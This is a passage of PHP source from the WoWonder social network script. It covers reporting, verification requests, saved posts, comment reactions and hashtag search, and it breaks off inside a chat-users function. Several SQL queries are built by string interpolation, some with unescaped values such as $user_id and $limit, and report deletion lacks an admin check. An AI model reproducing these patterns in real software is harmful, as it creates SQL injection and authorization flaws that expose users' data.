<?php
// +------------------------------------------------------------------------+
// | @author Deen Doughouz (DoughouzForest)
// | @author_url 1: http://www.wowonder.com
// | @author_url 2: http://codecanyon.net/user/doughouzforest
// | @author_email: wowondersocial@gmail.com
// +------------------------------------------------------------------------+
// | WoWonder - The Ultimate Social Networking Platform
// | Copyright (c) 2022 WoWonder. All rights reserved.
// +------------------------------------------------------------------------+
/* Script Main Functions (File 2) */
// functions_tww.php
require_once "app_start.php";
use Twilio\Rest\Client;
if (!empty($wo["config"]["adult_images_file"])) {
    putenv("GOOGLE_APPLICATION_CREDENTIALS=" . $wo["config"]["adult_images_file"]);
}
use Google\Cloud\Vision\V1\ImageAnnotatorClient;
function Wo_ReportPost($post_data = array()) {
    global $wo, $sqlConnect, $db;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($post_data)) {
        return false;
    }
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $post_id = 0;
    if (isset($post_data["post_id"])) {
        $post_id = Wo_Secure($post_data["post_id"]);
        if (Wo_PostExists($post_data["post_id"]) === false) {
            return false;
        }
    }
    $comment_id = 0;
    if (isset($post_data["comment_id"])) {
        $comment_id = Wo_Secure($post_data["comment_id"]);
    }
    if ($post_id !== 0) {
        if (Wo_IsPostRepotred($post_id, $user_id)) {
            $query_one     = "DELETE FROM " . T_REPORTS . " WHERE `post_id` = {$post_id} AND `user_id` = {$user_id}";
            $sql_query_one = mysqli_query($sqlConnect, $query_one);
            if ($sql_query_one) {
                return "unreport";
            }
        }
    }
    if ($comment_id !== 0) {
        if (Wo_IsCommentRepotred($comment_id, $user_id)) {
            $query_one     = "DELETE FROM " . T_REPORTS . " WHERE `comment_id` = {$comment_id} AND `user_id` = {$user_id}";
            $sql_query_one = mysqli_query($sqlConnect, $query_one);
            if ($sql_query_one) {
                return "unreport";
            }
        }
    }
    $query_two     = "INSERT INTO " . T_REPORTS . " (`user_id`, `post_id`, `comment_id`, `time`) VALUES ({$user_id}, {$post_id}, {$comment_id}, " . time() . ")";
    $sql_query_two = mysqli_query($sqlConnect, $query_two);
    if ($sql_query_two) {
        $notification_data_array = array(
            "recipient_id" => 0,
            "type" => "report",
            "time" => time(),
            "admin" => 1
        );
        $db->insert(T_NOTIFICATION, $notification_data_array);
        return "report";
    }
}
function Wo_CountUnseenReports() {
    global $wo, $sqlConnect;
    $query_one = "SELECT COUNT(`id`) AS `reports` FROM " . T_REPORTS . " WHERE `seen` = 0 ";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        $fetched_data = mysqli_fetch_assoc($sql);
        return $fetched_data["reports"];
    }
    return false;
}
function Wo_UpdateSeenReports() {
    global $wo, $sqlConnect;
    $query_one = " UPDATE " . T_REPORTS . " SET `seen` = 1 WHERE `seen` = 0";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if ($sql) {
        return true;
    }
}
function Wo_DeleteReport($report_id = "") {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $report_id = Wo_Secure($report_id);
    $query     = mysqli_query($sqlConnect, "DELETE FROM " . T_REPORTS . " WHERE `id` = {$report_id}");
    if ($query) {
        return true;
    }
}
function Wo_GetReports() {
    global $wo, $sqlConnect;
    $data      = array();
    $query_one = " SELECT * FROM " . T_REPORTS . " ORDER BY `id` DESC";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            if ($fetched_data["post_id"] != 0) {
                $fetched_data["reporter"] = Wo_UserData($fetched_data["user_id"]);
                $fetched_data["story"]    = Wo_PostData($fetched_data["post_id"]);
                $fetched_data["type"]     = "post";
                $data[]                   = $fetched_data;
            } elseif ($fetched_data["profile_id"] != 0) {
                $fetched_data["reporter"] = Wo_UserData($fetched_data["user_id"]);
                $fetched_data["user"]     = Wo_UserData($fetched_data["profile_id"]);
                $fetched_data["type"]     = "profile";
                $data[]                   = $fetched_data;
            } elseif ($fetched_data["page_id"] != 0) {
                $fetched_data["reporter"] = Wo_UserData($fetched_data["user_id"]);
                $fetched_data["page"]     = Wo_PageData($fetched_data["page_id"]);
                $fetched_data["type"]     = "page";
                $data[]                   = $fetched_data;
            } elseif ($fetched_data["group_id"] != 0) {
                $fetched_data["reporter"] = Wo_UserData($fetched_data["user_id"]);
                $fetched_data["group"]    = Wo_GroupData($fetched_data["group_id"]);
                $fetched_data["type"]     = "group";
                $data[]                   = $fetched_data;
            } elseif ($fetched_data["comment_id"] != 0) {
                $fetched_data["reporter"] = Wo_UserData($fetched_data["user_id"]);
                $fetched_data["comment"]  = Wo_GetPostComment($fetched_data["comment_id"]);
                $fetched_data["type"]     = "comment";
                $data[]                   = $fetched_data;
            }
        }
    }
    return $data;
}
function Wo_IsPostRepotred($post_id = "", $user_id = "") {
    global $sqlConnect;
    if (empty($post_id) or !is_numeric($post_id) or $post_id < 1) {
        return false;
    }
    if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $post_id       = Wo_Secure($post_id);
    $user_id       = Wo_Secure($user_id);
    $query_one     = "SELECT `id` FROM " . T_REPORTS . " WHERE `post_id` = {$post_id} AND `user_id` = {$user_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) >= 1) {
        return true;
    }
}
function Wo_IsCommentRepotred($comment_id = "", $user_id = "") {
    global $sqlConnect;
    if (empty($comment_id) or !is_numeric($comment_id) or $comment_id < 1) {
        return false;
    }
    if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $comment_id    = Wo_Secure($comment_id);
    $user_id       = Wo_Secure($user_id);
    $query_one     = "SELECT `id` FROM " . T_REPORTS . " WHERE `comment_id` = {$comment_id} AND `user_id` = {$user_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) >= 1) {
        return true;
    }
}
function Wo_CountUnseenVerifications() {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (Wo_IsAdmin() === false) {
        return false;
    }
    $query_one = "SELECT COUNT(`id`) AS `verifications` FROM " . T_VERIFICATION_REQUESTS . " WHERE `seen` = 0 ";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        $fetched_data = mysqli_fetch_assoc($sql);
        return $fetched_data["verifications"];
    }
}
function Wo_UpdateSeenVerifications() {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (Wo_IsAdmin() === false) {
        return false;
    }
    $query_one = " UPDATE " . T_VERIFICATION_REQUESTS . " SET `seen` = 1 WHERE `seen` = 0";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if ($sql) {
        return true;
    }
}
function Wo_DeleteVerificationRequest($id = "") {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id)) {
        return false;
    }
    if (Wo_IsAdmin() === false) {
        return false;
    }
    $id    = Wo_Secure($id);

    $query_one = "SELECT * FROM " . T_VERIFICATION_REQUESTS . " WHERE `id` = '".$id."'";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        $fetched_data = mysqli_fetch_assoc($sql);
        if (file_exists($fetched_data['passport'])) {
            @unlink($fetched_data['passport']);
        }
        if (file_exists($fetched_data['photo'])) {
            @unlink($fetched_data['photo']);
        }
        @Wo_DeleteFromToS3($fetched_data['passport']);
        @Wo_DeleteFromToS3($fetched_data['photo']);
    }

    $query = mysqli_query($sqlConnect, "DELETE FROM " . T_VERIFICATION_REQUESTS . " WHERE `id` = {$id}");
    if ($query) {
        return true;
    }
}
function Wo_DeleteVerification($id = 0, $type = "") {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id) || empty($type)) {
        return false;
    }
    if (!in_array($type, array(
        "User",
        "Page"
    ))) {
        return false;
    }
    $id          = Wo_Secure($id);
    $update_data = array(
        "verified" => 0
    );
    $update      = false;
    if ($type == "Page") {
        if (Wo_IsPageOnwer($id)) {
            $update = mysqli_query($sqlConnect, "UPDATE " . T_PAGES . " SET `verified` = '0' WHERE `page_id` = {$id}");
        }
    } elseif ($type == "User") {
        if ($wo["user"]["user_id"] == $id || Wo_IsAdmin()) {
            $update = mysqli_query($sqlConnect, "UPDATE " . T_USERS . " SET `verified` = '0' WHERE `user_id` = {$id}");
            cache($id, 'users', 'delete');
        }
    }
    if ($update) {
        return true;
    }
}
function Wo_RemoveVerificationRequest($id = 0, $type = "") {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id) || empty($type)) {
        return false;
    }
    if (!in_array($type, array(
        "User",
        "Page"
    ))) {
        return false;
    }
    $id = Wo_Secure($id);
    if ($type == "Page") {
        if (Wo_IsPageOnwer($id) === false) {
            return false;
        }
        $type_id = "`page_id`";
        $type_2  = "page";
    } elseif ($type == "User") {
        if (Wo_IsOnwer($id) === false) {
            return false;
        }
        $type_id = "`user_id`";
        $type_2  = "user";
    }
    $delete_query = mysqli_query($sqlConnect, "DELETE FROM " . T_VERIFICATION_REQUESTS . " WHERE {$type_id} = {$id} AND `type` = '{$type_2}'");
    if ($delete_query) {
        return true;
    }
}
function Wo_VerifyUser($id = 0, $verification_id = 0, $type = "") {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id) || empty($type) || empty($verification_id)) {
        return false;
    }
    if (!in_array($type, array(
        "User",
        "Page"
    ))) {
        return false;
    }
    if (Wo_IsAdmin() === false) {
        return false;
    }
    $id          = Wo_Secure($id);
    $update_data = array(
        "verified" => 1
    );
    $update      = false;
    if ($type == "Page") {
        $update = Wo_UpdatePageData($id, $update_data);
    } elseif ($type == "User") {
        $update = Wo_UpdateUserData($id, $update_data);
    }
    if ($update) {
        if (Wo_DeleteVerificationRequest($verification_id) === true) {
            return true;
        }
    }
}
function Wo_RequestVerification($id = 0, $type = "") {
    global $sqlConnect, $db;
    if (empty($id) or !is_numeric($id) or $id < 1 or empty($type) or $type != "Page") {
        return false;
    }
    if (Wo_IsVerificationRequests($id, $type) === true) {
        return false;
    }
    $values = "";
    if ($type == "Page") {
        if (Wo_IsPageOnwer($id) === false) {
            return false;
        }
        $values = "`page_id`,`type`";
    } elseif ($type == "User") {
        if (Wo_IsOnwer($id) === false) {
            return false;
        }
        $values = "`user_id`,`type`";
    }
    $query_one = mysqli_query($sqlConnect, "INSERT INTO " . T_VERIFICATION_REQUESTS . " ($values) VALUES({$id},'{$type}') ");
    if ($query_one) {
        $notification_data_array = array(
            "recipient_id" => 0,
            "type" => "verify",
            "time" => time(),
            "admin" => 1
        );
        $db->insert(T_NOTIFICATION, $notification_data_array);
        return true;
    }
}
function Wo_IsVerificationRequests($id = "", $type = "") {
    global $sqlConnect;
    if (empty($id) or !is_numeric($id) or $id < 1) {
        return false;
    }
    if (empty($type)) {
        return false;
    }
    if (!in_array($type, array(
        "User",
        "Page"
    ))) {
        return false;
    }
    $id    = Wo_Secure($id);
    $type  = Wo_Secure($type);
    $where = "";
    if ($type == "Page") {
        $where = " `page_id` = {$id} AND `type` = 'page'";
    } elseif ($type == "User") {
        $where = " `user_id` = {$id} AND `type` = 'user'";
    }
    if (empty($where)) {
        return false;
    }
    $query_one     = "SELECT `id` as count FROM " . T_VERIFICATION_REQUESTS . " WHERE{$where}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) > 0) {
        return true;
    }
}
function Wo_GetVerificationButton($id, $type) {
    global $sqlConnect, $wo;
    if (empty($id) or !is_numeric($id) or $id < 1) {
        return false;
    }
    if (empty($type)) {
        return false;
    }
    $verified_type = 0;
    if ($type == "Page") {
        $wo["verification"]       = Wo_PageData($id);
        $wo["verification"]["id"] = $wo["verification"]["page_id"];
    } elseif ($type == "User") {
        $wo["verification"]       = Wo_UserData($id);
        $wo["verification"]["id"] = $wo["verification"]["user_id"];
    }
    $wo["verification"]["type"] = $type;
    $pending                    = "buttons/pending-verification";
    $remove                     = "buttons/remove-verification";
    $request                    = "buttons/request-verification";
    $verified                   = $wo["verification"]["verified"];
    if (Wo_IsVerificationRequests($id, $type)) {
        return Wo_LoadPage($pending);
    } elseif ($verified == 1) {
        return Wo_LoadPage($remove);
    } else {
        return Wo_LoadPage($request);
    }
}
function Wo_GetVerifications() {
    global $wo, $sqlConnect;
    $data      = array();
    $query_one = " SELECT * FROM " . T_VERIFICATION_REQUESTS . " ORDER BY `id` DESC";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            if (!empty($fetched_data["user_id"])) {
                $fetched_data["request_from"]       = Wo_UserData($fetched_data["user_id"]);
                $fetched_data["request_from"]["id"] = $fetched_data["user_id"];
            } elseif (!empty($fetched_data["page_id"])) {
                $fetched_data["request_from"]       = Wo_PageData($fetched_data["page_id"]);
                $fetched_data["request_from"]["id"] = $fetched_data["page_id"];
            } else {
                return false;
            }
            $fetched_data["type"] = $fetched_data["type"] == "User" ? "User" : "Page";
            $data[]               = $fetched_data;
        }
    }
    return $data;
}
function Wo_GetAllPosts($posts = array("limit" => 10, "after_user_id" => 0)) {
    global $wo, $sqlConnect;
    $data     = array();
    $subquery = "";
    $limit    = Wo_Secure($posts["limit"]);
    if (isset($posts["after_post_id"]) && !empty($posts["after_post_id"]) && $posts["after_post_id"] > 0) {
        $after_post_id = Wo_Secure($posts["after_post_id"]);
        $subquery      = " WHERE `id` < {$after_post_id}";
    }
    $query_one = " SELECT `id` FROM " . T_POSTS . " {$subquery} ORDER BY `id` DESC LIMIT {$limit}";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $data[] = Wo_PostData($fetched_data["id"], "admin");
        }
    }
    return $data;
}
function Wo_IsPostSaved($post_id, $user_id) {
    global $sqlConnect;
    if (empty($post_id) or !is_numeric($post_id) or $post_id < 1) {
        return false;
    }
    $post_id       = Wo_Secure($post_id);
    $user_id       = Wo_Secure($user_id);
    $query_one     = "SELECT `id` FROM " . T_SAVED_POSTS . " WHERE `post_id` = {$post_id} AND `user_id` = {$user_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) >= 1) {
        return true;
    }
}
function Wo_GetSavedPosts($user_id, $after_post_id = 0, $limit = 0) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $logged_user_id = Wo_Secure($wo["user"]["user_id"]);
    $data           = array();
    $query_one      = "SELECT `post_id` FROM " . T_SAVED_POSTS . " WHERE `user_id` = {$user_id} ";
    if (isset($after_post_id) && !empty($after_post_id) && is_numeric($after_post_id)) {
        $after_post_id = Wo_Secure($after_post_id);
        $query_one .= " AND post_id < {$after_post_id}";
    }
    $query_one .= " ORDER BY `id` DESC";
    if (isset($limit) && !empty($limit) && is_numeric($limit)) {
        $query_one .= " LIMIT {$limit}";
    }
    $query = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($query)) {
        while ($fetched_data = mysqli_fetch_assoc($query)) {
            $post = Wo_PostData($fetched_data["post_id"]);
            if (is_array($post)) {
                $data[] = $post;
            }
        }
    }
    return $data;
}
function Wo_GetPostIdFromCommentId($comment_id = 0) {
    global $sqlConnect;
    if (empty($comment_id) or !is_numeric($comment_id) or $comment_id < 1) {
        return false;
    }
    $comment_id    = Wo_Secure($comment_id);
    $query_one     = "SELECT `post_id` FROM " . T_COMMENTS . " WHERE `id` = {$comment_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
        return $sql_fetch_one["post_id"];
    }
    return false;
}
function Wo_GetUserIdFromCommentId($comment_id = 0) {
    global $sqlConnect;
    if (empty($comment_id) or !is_numeric($comment_id) or $comment_id < 1) {
        return false;
    }
    $comment_id    = Wo_Secure($comment_id);
    $query_one     = "SELECT `user_id` FROM " . T_COMMENTS . " WHERE `id` = {$comment_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
        return $sql_fetch_one["user_id"];
    }
    return false;
}
function Wo_AddCommentLikes($comment_id, $text = "") {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!isset($comment_id) or empty($comment_id) or !is_numeric($comment_id) or $comment_id < 1) {
        return false;
    }
    $comment_id          = Wo_Secure($comment_id);
    $user_id             = Wo_Secure($wo["user"]["user_id"]);
    $comment_timeline_id = Wo_GetUserIdFromCommentId($comment_id);
    $post_id             = Wo_GetPostIdFromCommentId($comment_id);
    $page_id             = "";
    $post_data           = Wo_PostData($post_id);
    if (!empty($post_data["page_id"])) {
        $page_id = $post_data["page_id"];
    }
    if (Wo_IsPageOnwer($post_data["page_id"]) === false) {
        $page_id = 0;
    }
    if (empty($comment_timeline_id)) {
        return false;
    }
    $comment_data = Wo_GetPostComment($comment_id);
    $text         = Wo_Secure($comment_data["text"]);
    if (isset($text) && !empty($text)) {
        $text = substr($text, 0, 10) . "..";
    }
    if (Wo_IsCommentLiked($comment_id, $user_id) === true) {
        $query_one = "DELETE FROM " . T_COMMENT_LIKES . " WHERE `comment_id` = {$comment_id} AND `user_id` = {$user_id}";
        mysqli_query($sqlConnect, "DELETE FROM " . T_NOTIFICATION . " WHERE `post_id` = {$post_id} AND `recipient_id` = {$comment_timeline_id} AND `type` = 'liked_comment'");
        $sql_query_one = mysqli_query($sqlConnect, $query_one);
        if ($sql_query_one) {
            return "unliked";
        }
    } else {
        if ($wo["config"]["second_post_button"] == "dislike" && Wo_IsCommentWondered($comment_id, $user_id)) {
            Wo_AddCommentWonders($comment_id);
        }
        $query_two     = "INSERT INTO " . T_COMMENT_LIKES . " (`user_id`, `post_id`, `comment_id`) VALUES ({$user_id},{$post_id},{$comment_id})";
        $sql_query_two = mysqli_query($sqlConnect, $query_two);
        if ($sql_query_two) {
            $notification_data_array = array(
                "recipient_id" => $comment_timeline_id,
                "post_id" => $post_id,
                "type" => "liked_comment",
                "text" => $text,
                "page_id" => $page_id,
                "url" => "index.php?link1=post&id=" . $post_id . "&ref=" . $comment_id
            );
            Wo_RegisterNotification($notification_data_array);
            return "liked";
        }
    }
}
function Wo_CountCommentLikes($comment_id) {
    global $sqlConnect;
    if (empty($comment_id) or !is_numeric($comment_id) or $comment_id < 1) {
        return false;
    }
    $comment_id    = Wo_Secure($comment_id);
    $query_one     = "SELECT COUNT(`id`) AS `likes` FROM " . T_COMMENT_LIKES . " WHERE `comment_id` = {$comment_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
        return $sql_fetch_one["likes"];
    }
    return false;
}
function Wo_IsCommentLiked($comment_id, $user_id) {
    global $sqlConnect;
    if (empty($comment_id) or !is_numeric($comment_id) or $comment_id < 1) {
        return false;
    }
    if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $comment_id    = Wo_Secure($comment_id);
    $user_id       = Wo_Secure($user_id);
    $query_one     = "SELECT `id` FROM " . T_COMMENT_LIKES . " WHERE `comment_id` = {$comment_id} AND `user_id` = {$user_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) >= 1) {
        return true;
    }
}
function Wo_AddCommentWonders($comment_id, $text = "") {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!isset($comment_id) or empty($comment_id) or !is_numeric($comment_id) or $comment_id < 1) {
        return false;
    }
    $comment_id      = Wo_Secure($comment_id);
    $user_id         = Wo_Secure($wo["user"]["user_id"]);
    $comment_user_id = Wo_GetUserIdFromCommentId($comment_id);
    $post_id         = Wo_GetPostIdFromCommentId($comment_id);
    $page_id         = "";
    $post_data       = Wo_PostData($post_id);
    if (!empty($post_data["page_id"])) {
        $page_id = $post_data["page_id"];
    }
    if (Wo_IsPageOnwer($post_data["page_id"]) === false) {
        $page_id = 0;
    }
    if (empty($comment_user_id)) {
        return false;
    }
    $comment_data = Wo_GetPostComment($comment_id);
    $text         = Wo_Secure($comment_data["text"]);
    if (isset($text) && !empty($text)) {
        $text = mb_substr($text, 0, 10, "UTF-8") . "..";
    }
    if (Wo_IsCommentWondered($comment_id, $wo["user"]["user_id"]) === true) {
        $query_one = "DELETE FROM " . T_COMMENT_WONDERS . " WHERE `comment_id` = {$comment_id} AND `user_id` = {$user_id}";
        mysqli_query($sqlConnect, "DELETE FROM " . T_NOTIFICATION . " WHERE `post_id` = {$post_id} AND `recipient_id` = {$comment_user_id} AND `type` = 'wondered_comment'");
        $sql_query_one = mysqli_query($sqlConnect, $query_one);
        if ($sql_query_one) {
            return "unwonder";
        }
    } else {
        if ($wo["config"]["second_post_button"] == "dislike" && Wo_IsCommentLiked($comment_id, $user_id)) {
            Wo_AddCommentLikes($comment_id);
        }
        $query_two     = "INSERT INTO " . T_COMMENT_WONDERS . " (`user_id`, `post_id`, `comment_id`) VALUES ({$user_id}, {$post_id}, {$comment_id})";
        $sql_query_two = mysqli_query($sqlConnect, $query_two);
        if ($sql_query_two) {
            $notification_data_array = array(
                "recipient_id" => $comment_user_id,
                "post_id" => $post_id,
                "type" => "wondered_comment",
                "text" => $text,
                "page_id" => $page_id,
                "url" => "index.php?link1=post&id=" . $post_id . "&ref=" . $comment_id
            );
            Wo_RegisterNotification($notification_data_array);
            return "wonder";
        }
    }
}
function Wo_CountCommentWonders($comment_id) {
    global $sqlConnect;
    if (empty($comment_id) or !is_numeric($comment_id) or $comment_id < 1) {
        return false;
    }
    $comment_id    = Wo_Secure($comment_id);
    $query_one     = "SELECT COUNT(`id`) AS `likes` FROM " . T_COMMENT_WONDERS . " WHERE `comment_id` = {$comment_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
        return $sql_fetch_one["likes"];
    }
    return false;
}
function Wo_IsCommentWondered($comment_id, $user_id) {
    global $sqlConnect;
    if (empty($comment_id) or !is_numeric($comment_id) or $comment_id < 1) {
        return false;
    }
    if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $comment_id    = Wo_Secure($comment_id);
    $user_id       = Wo_Secure($user_id);
    $query_one     = "SELECT `id` FROM " . T_COMMENT_WONDERS . " WHERE `comment_id` = {$comment_id} AND `user_id` = {$user_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) >= 1) {
        return true;
    }
}
function Wo_GetCommentLikes($comment_id) {
    global $sqlConnect;
    if (empty($comment_id) or !is_numeric($comment_id) or $comment_id < 1) {
        return false;
    }
    $comment_id    = Wo_Secure($comment_id);
    $data          = array();
    $query_one     = "SELECT `user_id` FROM " . T_COMMENT_LIKES . " WHERE `comment_id` = {$comment_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($sql_query_one)) {
            $data[] = Wo_UserData($fetched_data["user_id"]);
        }
    }
    return $data;
}
function Wo_GetCommentWonders($comment_id) {
    global $sqlConnect;
    if (empty($comment_id) or !is_numeric($comment_id) or $comment_id < 1) {
        return false;
    }
    $comment_id    = Wo_Secure($comment_id);
    $data          = array();
    $query_one     = "SELECT `user_id` FROM " . T_COMMENT_WONDERS . " WHERE `comment_id` = {$comment_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($sql_query_one)) {
            $data[] = Wo_UserData($fetched_data["user_id"]);
        }
    }
    return $data;
}
function Wa_GetTrendingHashs($type = "latest", $limit = 5) {
    global $sqlConnect;
    $data = array();
    if (empty($type)) {
        return false;
    }
    if (empty($limit) or !is_numeric($limit) or $limit < 1) {
        $limit = 5;
    }
    if ($type == "latest") {
        $query = "SELECT * FROM " . T_HASHTAGS . " WHERE `expire` >= CURRENT_DATE() AND `trend_use_num` > '0'  ORDER BY `last_trend_time` DESC LIMIT {$limit}";
    } elseif ($type == "popular") {
        $query = "SELECT * FROM " . T_HASHTAGS . " WHERE `expire` >= CURRENT_DATE() AND `trend_use_num` > '0'  ORDER BY `trend_use_num` DESC LIMIT {$limit}";
    }
    $sql_query = mysqli_query($sqlConnect, $query);
    if (mysqli_num_rows($sql_query)) {
        $sql_numrows = mysqli_num_rows($sql_query);
        if ($sql_numrows > 0) {
            while ($sql_fetch = mysqli_fetch_assoc($sql_query)) {
                $sql_fetch["url"] = Wo_SeoLink("index.php?link1=hashtag&hash=" . $sql_fetch["tag"]);
                $data[]           = $sql_fetch;
            }
        }
    }
    return $data;
}
function Wo_GetHashtagPosts($s_query, $after_post_id = 0, $limit = 5, $before_post_id = 0) {
    global $sqlConnect,$wo;
    $data         = array();
    $search_query = str_replace("#", "", Wo_Secure($s_query));
    $hashdata     = Wo_GetHashtag($search_query, false);
    if (is_array($hashdata) && count($hashdata) > 0) {
        $qr = "";
        if ($wo['loggedin'] == true) {
            $logged_user_id = Wo_Secure($wo['user']['user_id']);
            $qr = " AND `user_id` NOT IN (SELECT `blocked` FROM " . T_BLOCKS . " WHERE `blocker` = '{$logged_user_id}') ";
        }
        
        $search_string = "#[" . $hashdata["id"] . "]";
        $query_one     = "SELECT id FROM " . T_POSTS . " WHERE `postText` LIKE '%{$search_string}%' ".$qr;
        // print_r($query_one);
        // exit();
        if (isset($after_post_id) && !empty($after_post_id) && is_numeric($after_post_id)) {
            $after_post_id = Wo_Secure($after_post_id);
            $query_one .= " AND id < {$after_post_id}";
        }
        if (isset($before_post_id) && !empty($before_post_id) && is_numeric($before_post_id)) {
            $before_post_id = Wo_Secure($before_post_id);
            $query_one .= " AND id > {$before_post_id}";
        }
        $query_one .= " AND `multi_image_post` = 0  ORDER BY `id` DESC LIMIT {$limit}";
        $sql_query_one = mysqli_query($sqlConnect, $query_one);
        if (mysqli_num_rows($sql_query_one)) {
            while ($sql_fetch_one = mysqli_fetch_assoc($sql_query_one)) {
                $posts = Wo_PostData($sql_fetch_one["id"]);
                if (is_array($posts)) {
                    $data[] = $posts;
                }
            }
        }
    }
    return $data;
}
function Wo_SearchForPosts($id = 0, $s_query = "", $limit = 5, $type = "") {
    global $wo, $sqlConnect;
    $data = array();
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id) || !is_numeric($id) || $id < 1) {
        return false;
    }
    if ($type == "page") {
        $query_type = "AND `page_id` = {$id}";
    } elseif ($type == "user") {
        $query_type = "AND `user_id` = {$id}";
    } elseif ($type == "group") {
        $query_type = "AND `group_id` = {$id}";
    } else {
        return false;
    }
    $search_query = Wo_Secure($s_query);
    $query_one    = "SELECT id FROM " . T_POSTS . " WHERE `postText` LIKE '%{$search_query}%' {$query_type}";
    $query_one .= " ORDER BY `id` DESC LIMIT {$limit}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one)) {
        while ($sql_fetch_one = mysqli_fetch_assoc($sql_query_one)) {
            $posts = Wo_PostData($sql_fetch_one["id"]);
            if (is_array($posts)) {
                $data[] = $posts;
            }
        }
    }
    return $data;
}
function Wo_GetSerachHash($s_query) {
    global $sqlConnect;
    $search_query = str_replace("#", "", Wo_Secure($s_query));
    $data         = array();
    $query        = mysqli_query($sqlConnect, "SELECT * FROM " . T_HASHTAGS . " WHERE `tag` LIKE '%{$search_query}%' ORDER BY `trend_use_num` DESC LIMIT 10");
    if (mysqli_num_rows($query)) {
        while ($fetched_data = mysqli_fetch_assoc($query)) {
            $fetched_data["url"] = Wo_SeoLink("index.php?link1=hashtag&hash=" . $fetched_data["tag"]);
            $data[]              = $fetched_data;
        }
    }
    return $data;
}
function Wo_CountOnlineUsers() {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $time    = time() - 60;
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $query   = mysqli_query($sqlConnect, "SELECT COUNT(`user_id`) AS `online` FROM " . T_USERS . " WHERE `user_id` IN (SELECT `following_id` FROM " . T_FOLLOWERS . " WHERE `follower_id`= {$user_id} AND `following_id` <> {$user_id} AND `active` = '1') AND `lastseen` > {$time} AND `active` = '1' AND `user_id` NOT IN (SELECT `blocked` FROM " . T_BLOCKS . " WHERE `blocker` = '{$user_id}') AND `user_id` NOT IN (SELECT `blocker` FROM " . T_BLOCKS . " WHERE `blocked` = '{$user_id}') ORDER BY `lastseen` DESC");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["online"];
    }
    return false;
}
function Wo_GetChatUsers($type) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $data = array();
    if ($wo["config"]["node_socket_flow"] == "1") {
        $time = time() - 03;
    } else {
        $time = time() - 60;
    }
    $user_id    = Wo_Secure($wo["user"]["user_id"]);
